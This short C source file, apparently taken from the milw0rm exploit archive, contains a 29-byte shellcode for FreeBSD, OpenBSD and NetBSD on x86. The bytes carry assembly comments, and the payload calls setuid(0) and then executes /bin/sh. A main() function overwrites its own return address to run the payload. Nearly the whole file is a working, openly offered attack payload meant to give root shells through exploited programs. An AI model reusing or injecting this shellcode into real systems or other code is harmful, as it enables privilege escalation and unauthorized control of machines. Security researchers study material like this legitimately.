39 lines
No EOL
1.2 KiB
C
39 lines
No EOL
1.2 KiB
C
/*
|
|
*BSD version
|
|
FreeBSD, OpenBSD, NetBSD.
|
|
|
|
s0t4ipv6@shellcode.com.ar
|
|
|
|
29 bytes.
|
|
|
|
-setuid(0);
|
|
-execve(/bin/sh);
|
|
*/
|
|
|
|
char shellcode[]=
|
|
|
|
"\x31\xc0" // xor %eax,%eax
|
|
"\x50" // push %eax
|
|
"\xb0\x17" // mov $0x17,%al
|
|
"\x50" // push %eax
|
|
"\xcd\x80" // int $0x80
|
|
"\x50" // push %eax
|
|
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
|
|
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
|
|
"\x89\xe3" // mov %esp,%ebx
|
|
"\x50" // push %eax
|
|
"\x54" // push %esp
|
|
"\x53" // push %ebx
|
|
"\x50" // push %eax
|
|
"\xb0\x3b" // mov $0x3b,%al
|
|
"\xcd\x80"; // int $0x80
|
|
|
|
main()
|
|
{
|
|
int *ret;
|
|
printf("Shellcode lenght=%d\n",sizeof(shellcode));
|
|
ret=(int*)&ret+2;
|
|
(*ret)=(int)shellcode;
|
|
}
|
|
|
|
// milw0rm.com [2004-09-26]
|